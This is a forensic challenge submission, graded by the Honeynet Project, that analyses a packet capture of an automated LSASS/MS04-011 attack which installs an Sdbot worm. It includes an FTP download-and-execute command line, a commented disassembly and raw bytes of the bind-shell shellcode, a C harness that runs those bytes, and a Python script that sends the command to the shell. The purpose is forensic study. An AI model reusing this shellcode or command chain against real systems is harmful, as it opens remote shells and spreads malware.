

# Challenge 1: Pcap Attack Trace (intermediate)

## Submission Template

Send submissions to [forensichallenge2010@honeynet.org](mailto:forensichallenge2010@honeynet.org) no later than 17:00 EST, Monday, February 1st 2010. Results will be released on Monday, February 15th 2010.

Name (required): Ivan Rodriguez Almuina
Country (optional): Switzerland

Question 1. Which systems (i.e. IP addresses) are involved?	Possible Points: 2pts
Tools Used: Wireshark	Awarded Points: 2pts
Answer 1.  Wireshark menu Statistics => Endpoints , tab IPv4. Result: 2, the attacker 98.114.205.102 and the victim 192.150.11.111 (domain and hostname: VIDCAM)	
Examiner's Comments:	

Question 2. What can you find out about the attacking host (e.g., where is it located)?	Possible Points: 2pts
Tools Used: <a href="https://ws.arin.net/whois/">https://ws.arin.net/whois/</a> , nslookup, <a href="http://www.robtex.com/">http://www.robtex.com/</a> , Wireshark	Awarded Points: 1.5pts
Answer 2.  - The Operating System of the attacking host is Windows 2000, found with Wireshark, in packet number 14, field "Native OS".  - The address is in the whois output, tho it doesn't mean the host is there physically, at least we know that it is Verizon. The whois output: OrgName: Verizon Internet Services Inc. OrgID: VRIS Address: 1880 Campus Commons Dr City: Reston StateProv: VA PostalCode: 20191 Country: US  - The word 'pool' in the reverse DNS could mean that it is a dynamically assigned IP address from an internet provider. The nslookup output: Nom : pool-98-114-205-102.phlapa.fios.verizon.net Address: 98.114.205.102	

Examiner's Comments:	

Question 3. How many TCP sessions are contained in the dump file?	Possible Points: 2pts
Tools Used: Wireshark	Awarded Points:2pts

Answer 3.

Wireshark menu Statistics => Conversations, tab TCP. Result: 5.

ip:port <direction> ip:port <action>

98.114.205.102:1821 -> 192.150.11.111:445 <port scan>

98.114.205.102:1828 -> 192.150.11.111:445 <trigger overflow, exploited>

192.150.11.111:1957 <- 98.114.205.102:1924 <connect to bind shell (after exploitation)>

192.150.11.111:36296 -> 98.114.205.102:8884 <connect to FTP server>

98.114.205.102:2152 -> 192.150.11.111:1080 <connect to FTP data port and send malware>

The first connection doesn't contain any data and is only 7 packets long (only packets with SYN, FIN or ACK flags) so I think it corresponds to a port scan.

Examiner's Comments:
----------------------

Question 4. How long did it take to perform the attack?	Possible Points: 2pts
Tools Used: Wireshark	Awarded Points:1.5pts

Answer 4.

Wireshark menu Statistics => Summary, "Elapsed" field. Result: 16 seconds.

Examiner's Comments:
----------------------

Question 5. Which operating system was targeted by the attack? And which service? Which vulnerability?	Possible Points: 6pts
Tools Used: Wireshark, http://www.google.com/	Awarded Points:6pts

Answer 5.

OS? Windows XP, the victim OS can be seen with Wireshark, packet number 16, field "Native OS" (Windows 5.1 which corresponds to Windows XP).

Service? The Active Directory features provided by the Local Security Authority Subsystem Service (LSASS) (file LSASRV.DLL), accessed via LSARPC named pipe over TCP port 445 (445 corresponds to the service "SMB over TCP").

Vulnerability?

Found by eEye: <http://research.eeye.com/html/advisories/published/AD20040413C.html>

Official CVE CAN-2003-0533: <http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0533>

Microsoft Security Bulletin MS04-011: <http://www.microsoft.com/technet/security/bulletin/MS04-011.mspx>

The vulnerability lies in the undocumented function DsRoleUpgradeDownlevelServer() implemented in NETAPI32.DLL. It is accessible through SMB, sending a DCE/RPC request to LSASS.EXE. The bug is a stack overflow, working on windows 2000 and windows XP. For a more detailed description report to the eEye advisory (<http://research.eeye.com/html/advisories/published/AD20040413C.html>), everything is explained with a lot of details.

Examiner's Comments:

Question 6. Can you sketch an overview of the general actions performed by the attacker?	Possible Points: 6pts
Tools Used: Wireshark, Ollydbg	Awarded Points:6pts

Answer 6.

1. Connects to port 445 and directly closes it to verify if the port is open or not (port scan).
2. Establishes SMB session as NULL user over the 445 (SMB over TCP) port (connection to \\192.150.11.111\ipc\$).
3. Connects to the LSARPC named pipe over SMB again.
4. Calls DsRoleUpgradeDownlevelServer() with a long szDomainName parameter containing a shellcode of type "bind shell", which will overflow the stack (again, through the same port, 445).
5. The shellcode gets executed on the victim's computer, it binds to port 1957 and waits for a connection.
6. The attacker connects to the victim's port 1957 and obtains a shell (cmd.exe).
- 7a. The attacker prepares and executes a FTP session from the victim's computer to his own, with the following commands:  
echo open 0.0.0.0 8884 > o&echo user 1 1 >> o &echo get ssms.exe >> o &echo quit >> o &ftp -n -s:o &del /F /Q o &ssms.exe
- 7b. Those commands will connect the victim to the ftp server 0.0.0.0 (error? It should be 98.114.205.102) port 8884 and make it download the malware ssms.exe.
- 7c. Then the malware is executed through the shell: ssms.exe (though it was already executed within the other commands' sequence)
8. Game Over.

Examiner's Comments:

Question 7. What specific vulnerability was attacked?	Possible Points: 2pts
Tools Used: Wireshark, <a href="http://www.google.com/">http://www.google.com/</a>	Awarded Points:2pts

Answer 7.

Already answered in Question 5:

Found by eEye: <http://research.eeye.com/html/advisories/published/AD20040413C.html>

Official CVE CAN-2003-0533: <http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0533>

Microsoft Security Bulletin MS04-011: <http://www.microsoft.com/technet/security/bulletin/MS04-011.mspx>

The vulnerability lies in the undocumented function DsRoleUpgradeDownlevelServer() implemented in NETAPI32.DLL. It is accessible through SMB, sending a DCE/RPC request to LSASS.EXE. The bug is a stack overflow, working on windows 2000 and windows XP. For a more detailed description report to the eEye advisory (<http://research.eeye.com/html/advisories/published/AD20040413C.html>), everything is explained with a lot of details.

Examiner's Comments:
----------------------

Question 8. What actions does the shellcode perform? Pls list the shellcode	Possible Points: 8pts
Tools Used: Ollydbg	Awarded Points:8pts

Answer 8.

The shellcode has nothing special (it is the same as scode2 in <http://www.milw0rm.com/exploits/293>), it uses well-known methods to get functions' offsets and to build stack frames. The actions performed are the following:

1. decode the shellcode (with a generic xor decoder, which xores almost all the shellcode with 0x99)
2. find GetProcAddress and LoadLibraryA from kernel32.dll in PEB
3. call WSASocket() to obtain a AF\_INET and TCP socket.
4. bind() the obtained socket to port 1957
5. listen() with a backlog of 1
6. accept() incoming connections
7. prepare the STARTUPINFO (bind the accept()'ed incoming socket to the stds of the process) and PROCESS\_INFORMATION.
8. execute "cmd".
9. close accept()'ed socket (closesocket())
10. close bind()'ed socket (closesocket())
11. calls ExitThread() which ends the thread.

Ollydbg output after decode (xor 0x99) and with some comments I wrote:

CPU Disasm

Address	Hex dump	Command	Comments
0040A000	EB 10	JMP SHORT 0040A012	
0040A002	5A	POP EDX	
0040A003	4A	DEC EDX	
0040A004	33C9	XOR ECX,ECX	
0040A006	66:B9 7D01	MOV CX,17D	
0040A00A	80340A 99	XOR BYTE PTR DS:[ECX+EDX],99	; decode the payload xoring with the value 0x99, basic encoder...
0040A00E	E2 FA	LOOP SHORT 0040A00A	
0040A010	EB 05	JMP SHORT 0040A017	
0040A012	E8 EBFFFFFF	CALL 0040A002	
0040A017	E9 0C010000	JMP 0040A128	
0040A01C	5A	POP EDX	
0040A01D	64:A1 30000000	MOV EAX,DWORD PTR FS:[30] ; PEB	
0040A023	8B40 0C	MOV EAX,DWORD PTR DS:[EAX+0C]	; get kernel32 imagebase.. it supposes it is the first.
0040A026	8B70 1C	MOV ESI,DWORD PTR DS:[EAX+1C]	
0040A029	AD	LODS DWORD PTR DS:[ESI]	
0040A02A	8B40 08	MOV EAX,DWORD PTR DS:[EAX+8]	
0040A02D	8BD8	MOV EBX,EAX	
0040A02F	8B73 3C	MOV ESI,DWORD PTR DS:[EBX+3C]	
0040A032	8B741E 78	MOV ESI,DWORD PTR DS:[EBX+ESI+78]	
0040A036	03F3	ADD ESI,EBX	
0040A038	8B7E 20	MOV EDI,DWORD PTR DS:[ESI+20]	
0040A03B	03FB	ADD EDI,EBX	
0040A03D	8B4E 14	MOV ECX,DWORD PTR DS:[ESI+14]	
0040A040	33ED	XOR EBP,EBP	
0040A042	56	PUSH ESI	
0040A043	57	PUSH EDI	

0040A044	51	PUSH ECX
0040A045	8B3F	MOV EDI,DWORD PTR DS:[EDI]
0040A047	03FB	ADD EDI,EBX
0040A049	8BF2	MOV ESI,EDX
0040A04B	6A 0E	PUSH 0E
0040A04D	59	POP ECX
0040A04E	F3:A6	REPE CMPS BYTE PTR DS:[ESI],BYTE PTR ES:[EDI] ; find GetProcAddress()
0040A050	74 08	JE SHORT 0040A05A
0040A052	59	POP ECX
0040A053	5F	POP EDI
0040A054	83C7 04	ADD EDI,4
0040A057	45	INC EBP
0040A058	E2 E9	LOOP SHORT 0040A043
0040A05A	59	POP ECX
0040A05B	5F	POP EDI
0040A05C	5E	POP ESI
0040A05D	8BCD	MOV ECX,EBP
0040A05F	8B46 24	MOV EAX,DWORD PTR DS:[ESI+24]
0040A062	03C3	ADD EAX,EBX
0040A064	D1E1	SHL ECX,1
0040A066	03C1	ADD EAX,ECX
0040A068	33C9	XOR ECX,ECX
0040A06A	66:8B08	MOV CX,WORD PTR DS:[EAX]
0040A06D	8B46 1C	MOV EAX,DWORD PTR DS:[ESI+1C]
0040A070	03C3	ADD EAX,EBX
0040A072	C1E1 02	SHL ECX,2
0040A075	03C1	ADD EAX,ECX
0040A077	8B00	MOV EAX,DWORD PTR DS:[EAX]
0040A079	03C3	ADD EAX,EBX
0040A07B	8BFA	MOV EDI,EDX
0040A07D	8BF7	MOV ESI,EDI
0040A07F	83C6 0E	ADD ESI,0E
0040A082	8BD0	MOV EDX,EAX
0040A084	6A 03	PUSH 3
0040A086	59	POP ECX
0040A087	E8 87000000	CALL 0040A113 ; get offsets of kernel32.CreateProcessA, kernel32.ExitThread and kernel32.LoadLibrary
0040A08C	83C6 0D	ADD ESI,0D
0040A08F	52	PUSH EDX
0040A090	56	PUSH ESI
0040A091	FF57 FC	CALL DWORD PTR DS:[EDI-4] ; kernel32.LoadLibraryA("ws2_32")
0040A094	5A	POP EDX
0040A095	8BD8	MOV EBX,EAX
0040A097	6A 05	PUSH 5
0040A099	59	POP ECX
0040A09A	E8 74000000	CALL 0040A113 ; get offsets of ws2_32.WSASocketA, ws2_32.bind, ws2_32.listen, ws2_32.accept and ws2_32.closesocket
0040A09F	50	PUSH EAX
0040A0A0	50	PUSH EAX
0040A0A1	50	PUSH EAX
0040A0A2	50	PUSH EAX
0040A0A3	6A 01	PUSH 1
0040A0A5	6A 02	PUSH 2
0040A0A7	FF57 EC	CALL DWORD PTR DS:[EDI-14] ; ws2_32.WSASocketA(AF_INET,SOCK_STREAM,0,0,0,0)
0040A0AA	8BD8	MOV EBX,EAX

0040A0AC	C707 020007A5	MOV DWORD PTR DS:[EDI],A5070002 ; struct sockaddr { family = AF_INET; port = 1957 }
0040A0B2	33C0	XOR EAX,EAX
0040A0B4	8947 04	MOV DWORD PTR DS:[EDI+4],EAX
0040A0B7	6A 10	PUSH 10
0040A0B9	57	PUSH EDI
0040A0BA	53	PUSH EBX
0040A0BB	FF57 F0	CALL DWORD PTR DS:[EDI-10] ; ws2_32.bind (port 1957)
0040A0BE	6A 01	PUSH 1
0040A0C0	53	PUSH EBX
0040A0C1	FF57 F4	CALL DWORD PTR DS:[EDI-0C] ; ws2_32.listen (backlog 1)
0040A0C4	50	PUSH EAX
0040A0C5	50	PUSH EAX
0040A0C6	53	PUSH EBX
0040A0C7	FF57 F8	CALL DWORD PTR DS:[EDI-8] ; ws2_32.accept()
0040A0CA	8BD0	MOV EDX,EAX
0040A0CC	83EC 44	SUB ESP,44 ; make some room for STARTUPINFO structure
0040A0CF	8BF4	MOV ESI,ESP
0040A0D1	33C0	XOR EAX,EAX
0040A0D3	6A 10	PUSH 10
0040A0D5	59	POP ECX
0040A0D6	89048E	MOV DWORD PTR DS:[ECX*4+ESI],EAX ; set memory to ZERO (0x44 bytes corresponding to STARTUPINFO structure)
0040A0D9	E2 FB	LOOP SHORT 0040A0D6
0040A0DB	8956 38	MOV DWORD PTR DS:[ESI+38],EDX ; link accept()'d SOCKET to STARTUPINFO.hStdInput
0040A0DE	8956 3C	MOV DWORD PTR DS:[ESI+3C],EDX ;link accept()'d SOCKET to STARTUPINFO.hStdOutput
0040A0E1	8956 40	MOV DWORD PTR DS:[ESI+40],EDX ; link accept()'d SOCKET to STARTUPINFO.hStdError
0040A0E4	66:C746 2C 0101	MOV WORD PTR DS:[ESI+2C],101 ; STARTUPINFO.dwFlags = STARTF_USESTDHANDLES   STARTF_USESHOWWINDOW
0040A0EA	8D47 10	LEA EAX,[EDI+10] ; PROCESS_INFORMATION structure
0040A0ED	50	PUSH EAX ; push PROCESS_INFORMATION structure
0040A0EE	56	PUSH ESI ; push STARTUPINFO structure
0040A0EF	33C9	XOR ECX,ECX
0040A0F1	51	PUSH ECX
0040A0F2	51	PUSH ECX
0040A0F3	51	PUSH ECX
0040A0F4	6A 01	PUSH 1
0040A0F6	51	PUSH ECX
0040A0F7	51	PUSH ECX
0040A0F8	C747 3C 636D640	MOV DWORD PTR DS:[EDI+3C],646D63 ; "cmd\0"
0040A0FF	8D47 3C	LEA EAX,[EDI+3C]
0040A102	50	PUSH EAX
0040A103	51	PUSH ECX
0040A104	FF57 E0	CALL DWORD PTR DS:[EDI-20] ; kernel32.CreateProcessA (command "cmd", stds (stdin/stdout/stderr) bound to accepted SOCKET)
0040A107	52	PUSH EDX
0040A108	FF57 FC	CALL DWORD PTR DS:[EDI-4] ; ws2_32.closesocket
0040A10B	53	PUSH EBX
0040A10C	FF57 FC	CALL DWORD PTR DS:[EDI-4] ; ws2_32.closesocket
0040A10F	50	PUSH EAX
0040A110	FF57 E4	CALL DWORD PTR DS:[EDI-1C] ; kernel32.ExitThread
0040A113	33C0	XOR EAX,EAX
0040A115	AC	LODS BYTE PTR DS:[ESI]
0040A116	85C0	TEST EAX,EAX
0040A118	^ 75 F9	JNE SHORT 0040A113

```

0040A11A 51      PUSH ECX
0040A11B 52      PUSH EDX
0040A11C 56      PUSH ESI
0040A11D 53      PUSH EBX
0040A11E FFD2    CALL EDX
0040A120 5A      POP EDX
0040A121 59      POP ECX
0040A122 AB      STOS DWORD PTR ES:[EDI]
0040A123 E2 EE    LOOP SHORT 0040A113
0040A125 33C0    XOR EAX,EAX
0040A127 C3      RETN
0040A128 E8 FFEEFFFF CALL 0040A01C
; Strings corresponding to the functions' names and the winsock dll (ws2_32).
0040A12D 47 65 74 50 72 6F 63 41 GetProcAddress
0040A135 64 64 72 65 73 73 00 43 ddress.C
0040A13D 72 65 61 74 65 50 72 6F reatePro
0040A145 63 65 73 73 41 00 45 78 cessA.Ex
0040A14D 69 74 54 68 72 65 61 64 itThread
0040A155 00 4C 6F 61 64 4C 69 62 .LoadLib
0040A15D 72 61 72 79 41 00 77 73 raryA.ws
0040A165 32 5F 33 32 00 57 53 41 2_32.WSA
0040A16D 53 6F 63 6B 65 74 41 00 SocketA.
0040A175 62 69 6E 64 00 6C 69 73 bind.lis
0040A17D 74 65 6E 00 61 63 63 65 ten.acce
0040A185 70 74 00 63 6C 6F 73 65 pt.close
0040A18D 73 6F 63 6B 65 74 00 socket.

```

Well, I think I'll stop writing details to the shellcode, I could simply recode it in C, but I don't think it is really necessary. The main idea is described...

Examiner's Comments:

Question 9. Do you think a Honeypot was used to pose as a vulnerable victim? Why?	Possible Points: 6pts
Tools Used: Wireshark, VMWare, python, uedit32, ollydbg, Visual Studio Express	Awarded Points: 6pts

Answer 9.

Yes. The fact that the victim connects to the attacker's FTP server even if he sent 0.0.0.0 as IP address.

Another evidence is that the victim sends a 0x0a ('\n', new line) byte right after the attacker connects (packet number 41, it sends another new line byte in packet number 46) to the shell (bound on port 1957, prepared by the shellcode), it isn't a normal behavior for cmd.exe, it must send the banner "Microsoft Windows XP [version 5.1.2600]" (if it sends something, it can occur that the shell doesn't have enough time to send its banner).

So yes the victim seems to be a honeypot.

It should be noted that I executed the shellcode in an .exe, calling WSAStartup(0x101, &wsa) at the begin to init winsock. Then I send the same payload (with a python script) as the attacker and I sniffed everything with Wireshark. I did it to prove that cmd.exe would NEVER send a new line byte instead of the banner (or nothing). Here you can see the full stuff I used:

```

sc_challenge.c:
#include <winsock.h>

#pragma comment(lib, "ws2_32")

```

```
/* shellcode dumped with wireshark, then cleaned manually. */
char sc[] = {
0xeb, 0x10, 0x5a, 0x4a,
0x33, 0xc9, 0x66, 0xb9, 0x7d, 0x01, 0x80, 0x34,
0xa, 0x99, 0xe2, 0xfa, 0xeb, 0x05, 0xe8, 0xeb,
0xff, 0xff, 0x70, 0x95, 0x98, 0x99, 0x99,
0xc3, 0xfd, 0x38, 0xa9, 0x99, 0x99, 0x99, 0x12,
0xd9, 0x95, 0x12, 0xe9, 0x85, 0x34, 0x12, 0xd9,
0x91, 0x12, 0x41, 0x12, 0xea, 0xa5, 0x12, 0xed,
0x87, 0xe1, 0x9a, 0x6a, 0x12, 0xe7, 0xb9, 0x9a,
0x62, 0x12, 0xd7, 0x8d, 0xaa, 0x74, 0xcf, 0xce,
0xc8, 0x12, 0xa6, 0x9a, 0x62, 0x12, 0x6b, 0xf3,
0x97, 0xc0, 0x6a, 0x3f, 0xed, 0x91, 0xc0, 0xc6,
0x1a, 0x5e, 0x9d, 0xdc, 0x7b, 0x70, 0xc0, 0xc6,
0xc7, 0x12, 0x54, 0x12, 0xdf, 0xbd, 0x9a, 0x5a,
0x48, 0x78, 0x9a, 0x58, 0xaa, 0x50, 0xff, 0x12,
0x91, 0x12, 0xdf, 0x85, 0x9a, 0x5a, 0x58, 0x78,
0x9b, 0x9a, 0x58, 0x12, 0x99, 0x9a, 0x5a, 0x12,
0x63, 0x12, 0x6e, 0x1a, 0x5f, 0x97, 0x12, 0x49,
0xf3, 0x9a, 0xc0, 0x71, 0x1e, 0x99, 0x99, 0x99,
0x1a, 0x5f, 0x94, 0xcb, 0xcf, 0x66, 0xce, 0x65,
0xc3, 0x12, 0x41, 0xf3, 0x9c, 0xc0, 0x71, 0xed,
0x99, 0x99, 0x99, 0xc9, 0xc9, 0xc9, 0xf3,
0x98, 0xf3, 0x9b, 0x66, 0xce, 0x75, 0x12, 0x41,
0x5e, 0x9e, 0x9b, 0x99, 0x9e, 0x3c, 0xaa, 0x59,
0x10, 0xde, 0x9d, 0xf3, 0x89, 0xce, 0xca, 0x66,
0xce, 0x69, 0xf3, 0x98, 0xca, 0x66, 0xce, 0x6d,
0xc9, 0xc9, 0xca, 0x66, 0xce, 0x61, 0x12, 0x49,
0x1a, 0x75, 0xdd, 0x12, 0x6d, 0xaa, 0x59, 0xf3,
0x89, 0xc0, 0x10, 0x9d, 0x17, 0x7b, 0x62, 0x10,
0xcf, 0xa1, 0x10, 0xcf, 0xa5, 0x10, 0xcf, 0xd9,
0xff, 0x5e, 0xdf, 0xb5, 0x98, 0x98, 0x14, 0xde,
0x89, 0xc9, 0xcf, 0xaa, 0x50, 0xc8, 0xc8, 0xc8,
0xf3, 0x98, 0xc8, 0xc8, 0x5e, 0xde, 0xa5, 0xfa,
0xf4, 0xfd, 0x99, 0x14, 0xde, 0xa5, 0xc9, 0xc8,
0x66, 0xce, 0x79, 0xcb, 0x66, 0xce, 0x65, 0xca,
0x66, 0xce, 0x65, 0xc9, 0x66, 0xce, 0x7d, 0xaa,
0x59, 0x35, 0x1c, 0x59, 0xec, 0x60, 0xc8, 0xcb,
0xcf, 0xca, 0x66, 0x4b, 0xc3, 0xc0, 0x32, 0x7b,
0x77, 0xaa, 0x59, 0x5a, 0x71, 0x76, 0x67, 0x66,
0x66, 0xde, 0xfc, 0xed, 0xc9, 0xeb, 0xf6, 0xfa,
0xd8, 0xfd, 0xfd, 0xeb, 0xfc, 0xea, 0xea, 0x99,
0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xeb,
0xf6, 0xfa, 0xfc, 0xea, 0xea, 0xd8, 0x99, 0xdc,
0xe1, 0xf0, 0xed, 0xcd, 0xf1, 0xeb, 0xfc, 0xf8,
0xfd, 0x99, 0xd5, 0xf6, 0xf8, 0xfd, 0xd5, 0xf0,
0xfb, 0xeb, 0xf8, 0xeb, 0xe0, 0xd8, 0x99, 0xee,
0xea, 0xab, 0xc6, 0xaa, 0xab, 0x99, 0xce, 0xca,
0xd8, 0xca, 0xf6, 0xfa, 0xf2, 0xfc, 0xed, 0xd8,
0x99, 0xfb, 0xf0, 0xf7, 0xfd, 0x99, 0xf5, 0xf0,
0xea, 0xed, 0xfc, 0xf7, 0x99, 0xf8, 0xfa, 0xfa,
0xfc, 0xe9, 0xed, 0x99, 0xfa, 0xf5, 0xf6, 0xea,
0xfc, 0xea, 0xf6, 0xfa, 0xf2, 0xfc, 0xed, 0x99,
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90};
```

```

int main(void)
{
    WSADATA wsa;

    /* init winsock otherwise the shellcode will fail */
    WSASStartup(0x101, &wsa);

    /* execute the shellcode */
    __asm {
        // _emit 0xcc
        lea eax, sc
        call eax
    }
    return 0;
}

s.py:
#!/usr/bin/env python
#
import socket

c = "echo open 0.0.0.0 8884 > o&echo user 1 1 >> o &echo get ssms.exe >> o &echo quit >> o &ftp -n -s:o &del /F /Q o &ssms.exe\r\n"

socket.setdefaulttimeout(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.133.130", 1957))
s.send(c)
s.close()

```

Voilà.

Examiner's Comments:

Question 10. Was there malware involved? What's the name of the malware? (We are not looking for a detailed malware analysis for this challenge)	Possible Points: 2pts
--	-----------------------

Tools Used: Wireshark, AntiVirus (McAfee), Ultraedit32 (hex editor)	Awarded Points: 2pts
---	----------------------

Answer 10.

Yes. The filename is "ssms.exe" and McAfee detects it as "W32/Sdbot.worm.gen.x".

Examiner's Comments:	
----------------------	--

Question 11. Do you think this is a manual or an automated attack? Why?	Possible Points: 2pts
---	-----------------------

Tools Used: Wireshark, AntiVirus (McAfee)	Awarded Points: 2pts
---	----------------------

Answer 11.

I think it is automated, because of the first connection, that is a simple port scan, and the delay between each connection (5 connections in total) is really tiny, always less than a second, impossible for a human to type everything by hand ...

Another reason is that the transferred file is a worm, and finally, McAfee detects the result of the following commands (the result is a file named 'o' containing the sequence of the FTP commands to download the malware from a FTP server):  
echo open 0.0.0.0 8884 > o&echo user 1 1 >> o &echo get ssms.exe >> o &echo quit >> o &ftp -n -s:o &del /F /Q o &ssms.exe

As the same worm as in the transferred .exe ... (W32/Sdbot.worm.gen.x)

So basically the attacker prepared some automated solution to scan and infect new targets and he made a mistake in the detection of his IP address that serves in the FTP commands (or you modified the real IP address to 0.0.0.0 after the capture just to see if people would notice it during the challenge... ;)) or the attacker is infected by the worm and it couldn't detect the right IP address to use in FTP commands. In any case the attack is automated. Amen.

Thank you for the pleasure provided by this forensic challenge, it is the first time I do a forensic challenge and it was really pleasant, I hope you will continue with less trivial challenges ;)

Examiner's Comments:

2 bonus points for your thoroughness

Total awarded points: 41